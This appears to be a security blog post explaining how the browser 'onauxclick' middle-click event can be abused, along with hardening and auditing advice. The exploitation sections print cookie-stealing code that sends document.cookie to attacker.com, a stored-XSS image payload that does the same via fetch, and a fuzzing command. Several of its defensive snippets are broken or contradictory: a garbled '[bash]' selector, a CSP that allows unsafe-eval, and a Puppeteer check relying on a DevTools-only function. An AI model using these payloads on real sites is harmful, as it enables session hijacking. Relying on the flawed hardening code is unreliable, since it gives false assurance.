Hackers’ New Secret Weapon: The Middle Mouse Button – How Can Hijack Your Browser + Video

By /

Listen to this Post

Featured Image

Introduction:

The `onauxclick` event, triggered by non-primary mouse buttons such as the middle (scroll wheel) click, is a legitimate browser API designed for enhanced user interaction. However, security researchers have demonstrated that attackers can abuse this event to generate unauthorized popups, execute malicious JavaScript, or hijack user sessions—all without the victim pressing the traditional left button. This article dissects the `onauxclick` vulnerability, provides step‑by‑step exploitation and mitigation techniques, and offers hardened code for developers and penetration testers.

Learning Objectives:

  • Understand the `onauxclick` event’s behavior across Chromium, Firefox, and Safari.
  • Detect and exploit unsafe `onauxclick` handlers for popup abuse and clickjacking.
  • Implement defensive coding patterns, Content Security Policies (CSP), and browser‑side hardening.

You Should Know:

  1. Demystifying `onauxclick` – Live Demonstration and Console Logging
    The `onauxclick` event fires when a non‑primary mouse button is clicked (typically the middle button or right button in some configurations). Attackers can embed an invisible element that captures middle‑clicks and redirects users to phishing pages or opens multiple popups.

Step‑by‑step guide to test and exploit `onauxclick`:

  • Open any modern browser (Chrome, Edge, Firefox) and press `F12` to open Developer Tools.
  • Navigate to the “Console” tab.
  • Paste the following JavaScript code to simulate a malicious event listener: 
    document.body.addEventListener('auxclick', function(e) {
if(e.button === 1) { // 1 = middle button
console.log('[!] Middle click captured – opening malicious popup');
window.open('https://evil-phishing-example.com', '_blank', 'width=400,height=300');
e.preventDefault();
}
});
  • Now middle‑click (press the scroll wheel) anywhere on the page. You will see the console log and a new popup window.
  • To log the event details, use: 
    document.body.onauxclick = (e) => console.log(<code>Auxclick triggered: button=${e.button}, target=${e.target.tagName}</code>);

For Linux/Windows system administrators: You can disable the middle‑click paste behavior in Linux (X11) with `xmodmap -e “pointer = 1 0 3″` or in Windows via registry keys under HKEY_CURRENT_USER\Control Panel\Desktop\Mouse. However, browser‑side mitigation is more effective.

  1. Real‑World Attack Scenarios – From Popup Abuse to Full Redirection
    Malicious actors often combine `onauxclick` with social engineering. For example, a fake download button may trigger a legitimate‑looking popup when middle‑clicked, while left‑click works normally. This bypasses user expectations.

Step‑by‑step exploitation example:

  • Create an HTML element that appears harmless: 
    </li>
</ul>

<div id="fakeAd" style="width:100%;height:50px;background:ddd;text-align:center;cursor:pointer;">
Click anywhere (even middle button) for a surprise!
</div>

    – Inject the following script:

    document.getElementById('fakeAd').addEventListener('auxclick', (e) => {
e.preventDefault();
// Instead of popup, redirect current tab
window.location.href = 'https://attacker.com/steal-cookie?ref=' + document.cookie;
});

    – When a victim middle‑clicks the div, their cookies are exfiltrated without any visual warning.

    Mitigation for developers: Always validate the `button` property and avoid executing sensitive actions on `auxclick` unless explicitly required.

    1. Hardening Your Code – Event Prevention and Content Security Policy
      To block unauthorized `onauxclick` handlers, you can use a combination of JavaScript prevention and CSP directives.

    Step‑by‑step hardening guide:

    • Remove existing listeners: Override the prototype or remove event listeners: 
      // Remove all auxclick listeners added via addEventListener
window.removeEventListener('auxclick', window._oldAuxClickHandler);
// Disable inline onauxclick attributes
document.querySelectorAll('[bash]').forEach(el => el.removeAttribute('onauxclick'));
    • Use CSP to restrict inline scripts:

    Add this HTTP header:

    Content-Security-Policy: script-src 'self' 'unsafe-eval' 'unsafe-hashes' 'sha256-<hash>'; require-trusted-types-for 'script';

    (Note: `’unsafe-inline’` is not recommended; instead, move all event handlers to external files.)
    – For Windows environments using Edge/Chrome policies: Deploy Group Policy to disable JavaScript popups entirely: set `BlockExternalExtensions` and `DefaultPopupsSetting` to `2` (block all popups).

    Linux command to test CSP headers using curl:

    curl -I https://yourwebsite.com | grep -i content-security-policy
    1. Advanced Exploitation – Combining `onauxclick` with DOM‑Based XSS
      If a website is vulnerable to reflected or stored XSS, an attacker can inject a persistent `onauxclick` handler that affects all users.

    Step‑by‑step XSS + auxclick chain:

    • Find a vulnerable input field (e.g., comment section) that does not sanitize event attributes.
    • Inject: 
      <img src="x" onerror="document.body.onauxclick=()=>{fetch('https://attacker.com/steal?c='+document.cookie)}">
    • When any user middle‑clicks anywhere on the page, their cookies are sent to the attacker.
    • To automate discovery, use a fuzzer like `ffuf` with a wordlist of event handlers: 
      ffuf -u https://target.com/search?q=FUZZ -w event-handlers.txt -fs 1234
    • For Windows, you can use Burp Suite’s Intruder with a payload list containing onauxclick=alert(1).

    Mitigation: Implement a strict HTML sanitizer (DOMPurify) that removes all auxiliary event attributes. Example:

    const clean = DOMPurify.sanitize(userInput, { ALLOWED_ATTR: ['href', 'target'] });

    5. Auditing and Pentesting for `onauxclick` Vulnerabilities

    Penetration testers should include non‑primary click events in their checklists.

    Step‑by‑step audit guide:

    • Manual testing: Browse the target application while holding a browser extension like “Event Listeners Inspector” (Chrome) to list all registered `auxclick` handlers.
    • Automated script using Puppeteer (Node.js): 
      const puppeteer = require('puppeteer');
(async () => {
const browser = await puppeteer.launch();
const page = await browser.newPage();
await page.goto('https://target.com');
const hasAuxClick = await page.evaluate(() => {
return typeof document.body.onauxclick === 'function' ||
getEventListeners(document.body).auxclick?.length > 0;
});
console.log('Auxclick risk:', hasAuxClick);
await browser.close();
})();
    • Linux command to grep for `onauxclick` in source code: 
      grep -r "onauxclick" /var/www/html/ --include=".html" --include=".js"
    • Windows PowerShell equivalent: 
      Get-ChildItem -Recurse -Include .html,.js | Select-String "onauxclick"

    6. Training and Secure Coding Courses for Developers

    Organizations should incorporate browser event security into their SDLC training. Recommended topics include:
    – Client‑side event handling pitfalls (clickjacking, keystroke sniffing, auxclick abuse)
    – Content Security Policy (CSP) level 3 and Trusted Types
    – Secure coding for React/Vue (avoiding `v-html` with event attributes)

    Example of secure React component:

    const SafeButton = () => {
const handleAuxClick = (e) => {
if (e.button === 1) {
e.preventDefault();
console.log('Middle click blocked');
}
};
return <button onAuxClick={handleAuxClick}>Click me safely</button>;
};

    – Free training resources: OWASP Top 10 Client‑Side Security, Mozilla’s Web Security Course, and PortSwigger’s XSS Labs.

    What Undercode Say:

    • Key Takeaway 1: The `onauxclick` event is often overlooked in security assessments, yet it provides a stealthy attack vector for popup abuse, phishing, and session hijacking.
    • Key Takeaway 2: Mitigation is possible through a combination of CSP, event prevention, and input sanitization – no single control suffices; defense in depth is mandatory.

    Analysis: The LinkedIn post by Santika Kusnul Hakim highlights a practical browser‑based attack that many penetration testers ignore. While middle‑click is less common than left‑click, advanced users frequently use it to open links in background tabs. Attackers exploiting `onauxclick` can create “invisible” overlays that capture those middle‑clicks, leading to drive‑by downloads or credential theft. The rise of web‑based collaboration tools (Figma, Miro, Google Docs) where middle‑click is used for panning/zooming increases the attack surface. Developers must treat auxiliary events as untrusted input and never associate them with sensitive state changes.

    Prediction:

    Within 12–18 months, we will see the first widespread malware campaign abusing `onauxclick` to bypass traditional click‑based anti‑phishing training. As browser vendors harden popup blockers for left‑click events, attackers will shift to middle‑click and right‑click vectors. Expect updated OWASP guidelines and automated DAST scanners to include `auxclick` in their test suites. Organizations that fail to audit client‑side event handlers will face increased incidents of session theft and malvertising. The long‑term fix will likely involve a browser‑level “disable non‑primary click navigation” flag, similar to the existing popup blocker.

    ▶️ Related Video (78% Match):

    🎯Let’s Practice For Free:

    IT/Security Reporter URL:

    Reported By: Sans1986 This – Hackers Feeds
    Extra Hub: Undercode MoN
    Basic Verification: Pass ✅

    🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

    💬 Whatsapp | 💬 Telegram

    📢 Follow UndercodeTesting & Stay Tuned:

    𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: